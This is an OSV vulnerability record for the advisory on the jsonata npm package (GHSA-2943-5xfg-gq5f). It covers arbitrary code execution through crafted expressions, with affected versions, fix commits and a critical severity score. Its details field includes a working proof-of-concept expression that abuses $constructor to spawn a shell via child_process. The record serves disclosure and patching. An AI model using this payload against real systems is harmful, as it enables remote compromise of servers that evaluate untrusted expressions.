原始 OSV JSON
{
"id": "GHSA-2943-5xfg-gq5f",
"aliases": [
"CVE-2026-77414"
],
"details": "Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with\ncrafted expressions, due to a bypassable `hasOwnProperty` check in\n`environment.lookup`\nhttps://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871\n\nThis was fixed in https://github.com/jsonata-js/jsonata/pull/799\n(https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865)\nwhich is included in the `2.2.1` release, and then back-ported to the `1.8.8` release.\n\n## PoC\n\n```js\nimport jsonata from \"jsonata\";\n\nconst expression = jsonata(`\n(\n $hasOwnProperty := $spread($string);\n $__proto__ := $constructor;\n $constructor(\"return\nprocess.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})\")();\n)`);\n\nawait expression.evaluate({});\n```",
"summary": "JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions",
"affected": [
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.2.1"
}
]
}
],
"package": {
"name": "jsonata",
"ecosystem": "npm"
}
},
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "1.8.8"
}
]
}
],
"package": {
"name": "jsonata",
"ecosystem": "npm"
}
}
],
"modified": "2026-08-21T20:58:01Z",
"severity": [
{
"type": "CVSS_V4",
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
}
],
"published": "2026-08-21T20:58:01Z",
"references": [
{
"url": "https://github.com/jsonata-js/jsonata/security/advisories/GHSA-2943-5xfg-gq5f",
"type": "WEB"
},
{
"url": "https://github.com/jsonata-js/jsonata/pull/799",
"type": "WEB"
},
{
"url": "https://github.com/jsonata-js/jsonata/commit/59e25144fc3b7125f6befd71b8a6e14e1fa610d2",
"type": "WEB"
},
{
"url": "https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de",
"type": "WEB"
},
{
"url": "https://github.com/jsonata-js/jsonata/commit/f09df8416eab8ff44926fc6527c80fb8701de159",
"type": "WEB"
},
{
"url": "https://github.com/jsonata-js/jsonata",
"type": "PACKAGE"
},
{
"url": "https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8",
"type": "WEB"
},
{
"url": "https://github.com/jsonata-js/jsonata/releases/tag/v2.2.1",
"type": "WEB"
}
],
"schema_version": "1.4.0",
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"severity": "CRITICAL",
"github_reviewed": true,
"nvd_published_at": null,
"github_reviewed_at": "2026-08-21T20:58:01Z"
}
}